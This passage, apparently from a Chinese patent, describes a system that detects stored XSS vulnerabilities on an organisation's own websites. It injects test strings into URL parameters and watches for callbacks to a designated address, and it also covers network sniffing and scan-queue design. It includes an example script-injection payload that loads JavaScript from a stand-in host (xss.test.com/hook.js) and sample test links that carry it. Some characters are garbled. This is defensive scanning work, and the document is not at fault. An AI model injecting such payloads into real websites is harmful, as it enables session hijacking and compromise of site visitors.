據(jù)或請(qǐng)求過濾掉了。也就是說,以太網(wǎng)卡都構(gòu)造了硬件的“過濾器”,這個(gè)過濾器會(huì)忽略與自身MAC地址不相符合的信息。旁路偵聽技術(shù)正是利用這一特點(diǎn),通過主動(dòng)關(guān)閉網(wǎng)卡的過濾器,來接收整個(gè)交換機(jī)中的數(shù)據(jù)信息,實(shí)現(xiàn)偵聽。因此,可以知曉,實(shí)施旁路偵聽適宜在最接近目標(biāo)服務(wù)器的交換機(jī)處實(shí)現(xiàn),理論上,只要將配置有旁路偵聽技術(shù)環(huán)境的計(jì)算機(jī)設(shè)備接入該交換機(jī),即可實(shí)現(xiàn)偵聽,從而獲取交換機(jī)的數(shù)據(jù)信息,提取相關(guān)數(shù)據(jù)。
[0080]根據(jù)上述實(shí)施例的描述可知,本發(fā)明所要檢測(cè)的網(wǎng)站一般是由用戶指定的,一般是應(yīng)用本發(fā)明的方法的企業(yè)自身的一個(gè)或多個(gè)已知網(wǎng)站,這些網(wǎng)站擁有一些共同特征,其鏈接均解釋到特定的一些IP地址段上、其域名所有人均為該企業(yè)或該企業(yè)的客戶,或者,是該企業(yè)參與管理的目標(biāo)網(wǎng)站。具體地,除了可以提供界面供用戶進(jìn)行認(rèn)為設(shè)定,也可以是以鏈接和/或IP地址和/或域名注冊(cè)特征信息為基礎(chǔ)進(jìn)行綜合判斷。因此,本發(fā)明的已知特定網(wǎng)站的識(shí)別依據(jù),不能僅僅理解為某個(gè)域名或其IP地址,還應(yīng)包括雖未進(jìn)行人為明文設(shè)定,但實(shí)質(zhì)上是該企業(yè)所要納入的檢測(cè)對(duì)象,包括任何解析到實(shí)質(zhì)上屬于部分已知特定網(wǎng)站已經(jīng)占據(jù)的IP地址的新增域名的鏈接。
[0081]本發(fā)明區(qū)別于通過現(xiàn)有技術(shù)中通過爬蟲技術(shù)獲取網(wǎng)站和/或鏈接的重點(diǎn)之一,在于本發(fā)明具有確定的已知特定網(wǎng)站,并且,這些已知特定網(wǎng)站,既可以初始化人為給定,也可以由以本方法實(shí)現(xiàn)的軟件動(dòng)態(tài)識(shí)別添加,而不必有如爬蟲技術(shù)般嚴(yán)格依賴于種子URL。而且,這些已知特定網(wǎng)站在本質(zhì)上是一系列的鏈接,既可以使用一個(gè)列表進(jìn)行獨(dú)立維護(hù),也可以將這個(gè)列表用作鏈接庫,甚至直接將這個(gè)列表用作待掃描隊(duì)列。具體如何利用這一列表,只是數(shù)據(jù)庫技術(shù)在本方法中的靈活結(jié)合運(yùn)用,例如,一種方式中,已知特定網(wǎng)站列表本質(zhì)上即是本發(fā)明的待掃描隊(duì)列,對(duì)于新鏈接,順序追加到列表并附上相應(yīng)的表征未掃描的標(biāo)識(shí)即可,掃描后更改這些標(biāo)識(shí)為表征已掃描的描述。另一種方式,該列表是獨(dú)立的,主要用于記錄各個(gè)域名和相應(yīng)的IP地址,而另外設(shè)置待掃描隊(duì)列,當(dāng)識(shí)別出關(guān)聯(lián)新鏈接時(shí),新鏈接的域名將被添加到該列表中,而新鏈接本身則被添加到待掃描隊(duì)列中,以后凡是包含此域名的鏈接也均不必再行解析,而直接將其添加到待掃描隊(duì)列中。再一種方式,已知特定網(wǎng)站列表、鏈接庫、待掃描隊(duì)列均是相互獨(dú)立的,已知特定網(wǎng)站列表僅已知特定網(wǎng)站有關(guān)的存儲(chǔ)域名,該鏈接庫用于存儲(chǔ)所有已經(jīng)識(shí)別的與已知特定網(wǎng)站有關(guān)的鏈接,而待掃描隊(duì)列僅用于存儲(chǔ)從鏈接庫中獲得的新鏈接,這種方式保證了各類型數(shù)據(jù)的獨(dú)立性,可用做更為復(fù)雜的用途。
[0082]如圖3所示,根據(jù)本發(fā)明實(shí)施例之一所揭示,步驟S2具體包括:
[0083]S21,識(shí)別出待檢測(cè)的鏈接參數(shù)部分;
[0084]S22,在參數(shù)部分加入XSS測(cè)試字符串,以形成測(cè)試鏈接。
[0085]待檢測(cè)的鏈接可以是URL,一般完整的、帶有授權(quán)部分的URL格式如下:
[0086]協(xié)議://用戶名:密碼@子域名.域名.頂級(jí)域名:端口號(hào)/目錄/文件名.文件后綴?參數(shù)=值#標(biāo)志
[0087]其中的協(xié)議部分用來告知瀏覽器如何處理將要打開的文件。最常用的模式是超文本傳輸協(xié)議(Hypertext Transfer Protocol,縮寫為HTTP),這個(gè)協(xié)議可以用來訪問網(wǎng)絡(luò)。
[0088]協(xié)議部分后邊的內(nèi)容主要用來指明文件所在的服務(wù)器的名稱或IP地址,其中包含著用來傳送對(duì)服務(wù)器上的數(shù)據(jù)庫進(jìn)行動(dòng)態(tài)詢問時(shí)所需要的參數(shù),通過為該參數(shù)加入XSS測(cè)試字符串,使得網(wǎng)站將測(cè)試鏈接寫入數(shù)據(jù)庫后,測(cè)試鏈接中的遠(yuǎn)程訪問代碼運(yùn)行時(shí),能夠回連至指定地址,并由網(wǎng)站向指定地址發(fā)送訪問請(qǐng)求。
[0089]當(dāng)然,在某些情況下,鏈接中包含多個(gè)參數(shù),例如:
[0090]鏈接http://xxxxx/abc ? name = admin,
[0091]其中僅包含一個(gè)參數(shù)name,該參數(shù)的值為admin,
[0092]而對(duì)于另一個(gè)鏈接,
[0093]http://xxxxx/abc ? name = admin&password = admin,
[0094]其中存在兩個(gè)參數(shù),其一為name,其二為password,那么在添加XSS測(cè)試字符串時(shí),可以為兩個(gè)參數(shù)分別添加XSS測(cè)試字符串時(shí)。
[0095]根據(jù)本發(fā)明實(shí)施例之一所揭示,指定地址獲取到來自網(wǎng)站的訪問請(qǐng)求包括:
[0096]指定地址接收到來自網(wǎng)站發(fā)送的超文本傳輸協(xié)議請(qǐng)求;或者指定地址的腳本程序被網(wǎng)站執(zhí)行。
[0097]指定地址接后去來自網(wǎng)站的訪問請(qǐng)求主要包括兩種方式:
[0098]其一是指定地址接收到來自網(wǎng)站發(fā)送的超文本傳輸協(xié)議請(qǐng)求,超文本傳輸協(xié)議主要用來訪問網(wǎng)絡(luò),即當(dāng)指定地址和網(wǎng)站不處于同一終端或服務(wù)器時(shí),網(wǎng)站可以通過網(wǎng)絡(luò)向指定地址發(fā)送超文本傳輸協(xié)議請(qǐng)求,使得指定地址獲悉其檢測(cè)的網(wǎng)絡(luò)存在XSS漏洞。
[0099]其二是指定地址的腳本程序被網(wǎng)站執(zhí)行,當(dāng)網(wǎng)站執(zhí)行了 Javascript腳本程序(即測(cè)試字符串中的遠(yuǎn)程訪問代碼),說明該網(wǎng)站在接收到測(cè)試鏈接后,將遠(yuǎn)程訪問代碼寫入了數(shù)據(jù)庫,即該網(wǎng)站存在XSS漏洞,從而網(wǎng)站根據(jù)遠(yuǎn)程訪問代碼中定義的指定地址,向指定地址發(fā)送訪問請(qǐng)求,以使指定地址獲取檢測(cè)的網(wǎng)絡(luò)存在XSS漏洞。
[0100]優(yōu)選地,該方法包括后續(xù)步驟:顯示圖形用戶界面以輸出XSS漏洞的具體信息。
[0101]通過提供一圖形用戶界面,用于提供給用戶進(jìn)行網(wǎng)站接的選定,用戶通過向該圖形用戶界面輸入與需要檢測(cè)的網(wǎng)站相關(guān)的內(nèi)容而完成設(shè)定,進(jìn)而對(duì)選定的網(wǎng)站進(jìn)行檢測(cè)。圖形用戶界面除了可以為用戶提供網(wǎng)站的選定,還可以為用戶提供具體鏈接的選定,由于對(duì)某個(gè)網(wǎng)站進(jìn)行XSS漏洞檢測(cè)時(shí),該網(wǎng)站存在多個(gè)鏈接,但是其中的部分鏈接已知是安全的,例如網(wǎng)站關(guān)于參數(shù)name的鏈接共有300個(gè),而其中http://xxxxx/abc ? name = I到http://xxxxx/abc ? name = 100,即參數(shù)name的值從I到100這100個(gè)鏈接是已知安全的,那么用戶可以通過圖形用戶界面預(yù)先排除掉網(wǎng)站中http://xxxxx/abc ? name = I到http://xxxxx/abc ? name = 100這100個(gè)鏈接,僅對(duì)剩余200個(gè)鏈接進(jìn)行測(cè)試。從而減少非必要的檢測(cè),節(jié)約漏洞檢測(cè)的資源消耗。
[0102]如圖4所示,根據(jù)本發(fā)明一個(gè)實(shí)施例的網(wǎng)站XSS漏洞檢測(cè)設(shè)備10包括:
[0103]獲取單元11,用于獲取網(wǎng)站待檢測(cè)的鏈接;
[0104]本實(shí)施例中所指的網(wǎng)站可以是用戶通過(終端等設(shè)備)輸入指令具體指定的,也可以是預(yù)先設(shè)定的,每個(gè)網(wǎng)站可以存在一個(gè)或多個(gè)鏈接,每個(gè)鏈接分別對(duì)應(yīng)一個(gè)網(wǎng)頁,在存在重寫URL的情況下,則每幾個(gè)URL鏈接對(duì)應(yīng)一個(gè)網(wǎng)頁。
[0105]添加單元12,用于在待檢測(cè)的鏈接中加入XSS測(cè)試字符串形成測(cè)試鏈接,
[0106]其中,測(cè)試字符串中包括遠(yuǎn)程訪問代碼,遠(yuǎn)程訪問代碼執(zhí)行時(shí)向指定地址發(fā)送訪問請(qǐng)求,網(wǎng)站根據(jù)測(cè)試鏈接發(fā)送超文本傳輸協(xié)議請(qǐng)求;
[0107]上述待測(cè)試的鏈接可以是URL (統(tǒng)一資源定位符),例如ws.abc.com/index, php ?a = 1,XSS測(cè)試字符串可以是一段Javascript腳本代碼,例如〈script src = "http://xss.test, com/hook.js">,則在鏈接中加入XSS測(cè)試字符串形成的測(cè)試鏈接可以為:
[0108]ws.abc.com/index, php ? a = Kscript src = ^http://xss.test, com/hook.js">,
[0109]當(dāng)該網(wǎng)站存在XSS漏洞時(shí),那么網(wǎng)站就會(huì)向其相應(yīng)的數(shù)據(jù)庫中寫入測(cè)試字符串中遠(yuǎn)程訪問代碼〈script = "http://xss.test.com/hook.js">。該遠(yuǎn)程訪問代碼為Javascript腳本代碼,在其被網(wǎng)站寫入數(shù)據(jù)庫時(shí),并不會(huì)立即執(zhí)行,而會(huì)當(dāng)其對(duì)應(yīng)鏈接被打開時(shí),即鏈接對(duì)應(yīng)的網(wǎng)頁被顯示時(shí),遠(yuǎn)程訪問代碼才執(zhí)行。并且,遠(yuǎn)程訪問代碼具有回連功能,即在執(zhí)行時(shí)能夠向指定地址發(fā)送訪問請(qǐng)求。根據(jù)遠(yuǎn)程訪問代碼的上述兩個(gè)特性,當(dāng)測(cè)試的鏈接被打開時(shí),只要其對(duì)應(yīng)的網(wǎng)站存在XSS漏洞,那么指定地址就能夠收到該網(wǎng)站的訪問請(qǐng)求,從而判定該網(wǎng)站存在XSS漏洞。
[0110]當(dāng)指定地址獲取到來自網(wǎng)站的訪問請(qǐng)求,說明網(wǎng)站已經(jīng)將遠(yuǎn)程訪問代碼寫入了其數(shù)據(jù)庫,正是在網(wǎng)站存在XSS漏洞時(shí),網(wǎng)站才會(huì)將遠(yuǎn)程訪問代碼寫入其數(shù)據(jù)庫,并在遠(yuǎn)程訪問代碼執(zhí)行時(shí),向指定地址發(fā)送訪問請(qǐng)求。因此一旦指定地址獲取到了到來自網(wǎng)站的訪問請(qǐng)求,就可以判定其存在X